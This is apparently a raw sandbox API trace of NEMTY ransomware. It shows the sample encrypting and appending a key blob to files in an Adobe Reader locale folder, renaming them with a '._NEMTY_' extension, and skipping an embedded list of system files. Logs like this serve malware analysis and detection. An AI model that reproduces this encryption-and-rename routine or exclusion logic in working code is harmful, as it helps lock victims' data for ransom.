CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0180.397] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0180.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0180.397] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="hDFZBmNNqlByJVHkuq5xxeYVdxRfQS7o6dTds+/+CVrlwGSRzpys7CKpqXbsxXdY\r\n1IbbRY0G+TsjIw2CZVErI3k07zt1zfgVhucBM1YFbWZP5P7khVFW61xoDHtRmQia\r\nvady6QXEbLJkFKWSi0CwrYSvoXk3inxLCG4ry1fbSQNMJE99x/uo7EyBnsJ2ZTms\r\nJBqaQgZJjOARzLF+L9PA3wnjuaXVM+n5NpT+J0abq0I4vp6ojtJCCpZHd90v09T1\r\nObml58bOhTt7LcJqcsahbaMkJrOwps3xF0/C/AO/gcuLyYov7XQM/HNdwlgTfcd6\r\noxStX84UnUI0/T8INlg5AA==\r\n", pcchString=0x653e5dc) returned 1 [0180.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0180.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.397] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Annots.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\annots.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.397] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=503808) returned 1 [0180.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0180.397] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.397] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0180.406] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.406] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0180.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0180.406] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=503808, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7b000 [0180.406] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0180.407] CloseHandle (hObject=0x2e8) returned 1 [0180.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0180.407] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.407] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0180.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0180.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.408] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Annots.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\annots.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Annots.NLD._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\annots.nld._nemty_kgobjgd_")) returned 1 [0180.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0180.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0180.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0180.409] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="BRdlang32.NLD", cAlternateFileName="BRDLAN~1.NLD")) returned 1 [0180.409] lstrcmpiW (lpString1="BRdlang32.NLD", lpString2=".") returned 1 [0180.409] lstrcmpiW (lpString1="BRdlang32.NLD", lpString2="..") returned 1 [0180.409] lstrcmpiW (lpString1="BRdlang32.NLD", lpString2="...") returned 1 [0180.409] lstrcmpiW (lpString1="BRdlang32.NLD", lpString2="windows") returned -1 [0180.409] lstrcmpiW (lpString1="BRdlang32.NLD", lpString2="$RECYCLE.BIN") returned 1 [0180.409] lstrcmpiW (lpString1="BRdlang32.NLD", lpString2="rsa") returned -1 [0180.409] lstrcmpiW (lpString1="BRdlang32.NLD", lpString2="NTDETECT.COM") returned -1 [0180.409] lstrcmpiW (lpString1="BRdlang32.NLD", lpString2="ntldr") returned -1 [0180.409] lstrcmpiW (lpString1="BRdlang32.NLD", lpString2="MSDOS.SYS") returned -1 [0180.409] lstrcmpiW (lpString1="BRdlang32.NLD", lpString2="IO.SYS") returned -1 [0180.409] lstrcmpiW (lpString1="BRdlang32.NLD", lpString2="boot.ini") returned 1 [0180.409] lstrcmpiW (lpString1="BRdlang32.NLD", lpString2="boot.ini") returned 1 [0180.409] lstrcmpiW (lpString1="BRdlang32.NLD", lpString2="AUTOEXEC.BAT") returned 1 [0180.409] lstrcmpiW (lpString1="BRdlang32.NLD", lpString2="ntuser.dat") returned -1 [0180.409] lstrcmpiW (lpString1="BRdlang32.NLD", lpString2="desktop.ini") returned -1 [0180.409] lstrcmpiW (lpString1="BRdlang32.NLD", lpString2="CONFIG.SYS") returned -1 [0180.409] lstrcmpiW (lpString1="BRdlang32.NLD", lpString2="RECYCLER") returned -1 [0180.410] lstrcmpiW (lpString1="BRdlang32.NLD", lpString2="BOOTSECT.BAK") returned 1 [0180.410] lstrcmpiW (lpString1="BRdlang32.NLD", lpString2="bootmgr") returned 1 [0180.410] lstrcmpiW (lpString1="BRdlang32.NLD", lpString2="programdata") returned -1 [0180.410] lstrcmpiW (lpString1="BRdlang32.NLD", lpString2="appdata") returned 1 [0180.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.NLD", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.NLD", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.NLD", lpUsedDefaultChar=0x0) returned 13 [0180.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.NLD", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.NLD", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.NLD", lpUsedDefaultChar=0x0) returned 13 [0180.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.NLD", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.NLD", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.NLD", lpUsedDefaultChar=0x0) returned 13 [0180.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.NLD", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.NLD", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.NLD", lpUsedDefaultChar=0x0) returned 13 [0180.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0180.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0180.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0180.410] Sleep (dwMilliseconds=0x5) [0180.412] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f2e4290, dwHighDateTime=0x1d561e8)) [0180.412] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f2e4290, dwHighDateTime=0x1d561e8)) [0180.412] GetLastError () returned 0x0 [0180.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.412] GetLastError () returned 0x0 [0180.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.412] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0180.412] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0180.412] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0180.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0180.412] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="tGM5Agxfxl/NQ7MnVk0xIhW+QMhjgLcusTNq9PK+sq0bf99XQAOCMqVk5B0LXFy4\r\narwG2XZd2yO2yGemg3LhF4h5Z4d3Zu2/s6Gms5w8h5ERMZGjjtiX9nd+xRIBKeUs\r\ny85Dk8OrGpA5LaPmkAAgFaXvzDdr3DXm9AipVb52ABHeb1Q5YD8PFDvCJ+yfveIg\r\n0EgjtacKimlYZuhP8CLdRjp+pEhfVWf4S0NghUixm7E5IS521SxtGtBNOcsQ9uKA\r\nzsYnvan9j8UVgaZsdlnfe2VUEk61y3Mc+nYNzaFtNPNy0AxPUtP791gp9UtTQiO3\r\ndf/MRCAQLGP123s+2XeWvQ==\r\n", pcchString=0x653e5dc) returned 1 [0180.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0180.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.413] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\BRdlang32.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\brdlang32.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.413] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=14336) returned 1 [0180.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3800) returned 0x6352c48 [0180.413] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.413] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3800, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x3800, lpOverlapped=0x0) returned 1 [0180.415] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.415] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3800, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x3800, lpOverlapped=0x0) returned 1 [0180.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0180.416] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=14336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3800 [0180.416] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0180.416] CloseHandle (hObject=0x2e8) returned 1 [0180.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0180.416] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.416] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0180.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0180.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0180.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.416] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\BRdlang32.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\brdlang32.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\BRdlang32.NLD._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\brdlang32.nld._nemty_kgobjgd_")) returned 1 [0180.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0180.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0180.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.417] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cfad80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Checkers.NLD", cAlternateFileName="")) returned 1 [0180.417] lstrcmpiW (lpString1="Checkers.NLD", lpString2=".") returned 1 [0180.417] lstrcmpiW (lpString1="Checkers.NLD", lpString2="..") returned 1 [0180.417] lstrcmpiW (lpString1="Checkers.NLD", lpString2="...") returned 1 [0180.417] lstrcmpiW (lpString1="Checkers.NLD", lpString2="windows") returned -1 [0180.417] lstrcmpiW (lpString1="Checkers.NLD", lpString2="$RECYCLE.BIN") returned 1 [0180.417] lstrcmpiW (lpString1="Checkers.NLD", lpString2="rsa") returned -1 [0180.417] lstrcmpiW (lpString1="Checkers.NLD", lpString2="NTDETECT.COM") returned -1 [0180.417] lstrcmpiW (lpString1="Checkers.NLD", lpString2="ntldr") returned -1 [0180.417] lstrcmpiW (lpString1="Checkers.NLD", lpString2="MSDOS.SYS") returned -1 [0180.417] lstrcmpiW (lpString1="Checkers.NLD", lpString2="IO.SYS") returned -1 [0180.417] lstrcmpiW (lpString1="Checkers.NLD", lpString2="boot.ini") returned 1 [0180.417] lstrcmpiW (lpString1="Checkers.NLD", lpString2="boot.ini") returned 1 [0180.417] lstrcmpiW (lpString1="Checkers.NLD", lpString2="AUTOEXEC.BAT") returned 1 [0180.417] lstrcmpiW (lpString1="Checkers.NLD", lpString2="ntuser.dat") returned -1 [0180.417] lstrcmpiW (lpString1="Checkers.NLD", lpString2="desktop.ini") returned -1 [0180.417] lstrcmpiW (lpString1="Checkers.NLD", lpString2="CONFIG.SYS") returned -1 [0180.417] lstrcmpiW (lpString1="Checkers.NLD", lpString2="RECYCLER") returned -1 [0180.417] lstrcmpiW (lpString1="Checkers.NLD", lpString2="BOOTSECT.BAK") returned 1 [0180.417] lstrcmpiW (lpString1="Checkers.NLD", lpString2="bootmgr") returned 1 [0180.417] lstrcmpiW (lpString1="Checkers.NLD", lpString2="programdata") returned -1 [0180.418] lstrcmpiW (lpString1="Checkers.NLD", lpString2="appdata") returned 1 [0180.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.418] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.NLD", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.418] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.NLD", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.NLD", lpUsedDefaultChar=0x0) returned 12 [0180.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.418] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.NLD", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.418] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.NLD", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.NLD", lpUsedDefaultChar=0x0) returned 12 [0180.418] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.418] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.418] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.NLD", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.418] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.NLD", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.NLD", lpUsedDefaultChar=0x0) returned 12 [0180.418] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.418] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.NLD", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.418] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.NLD", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.NLD", lpUsedDefaultChar=0x0) returned 12 [0180.418] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0180.418] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0180.418] Sleep (dwMilliseconds=0x5) [0180.428] 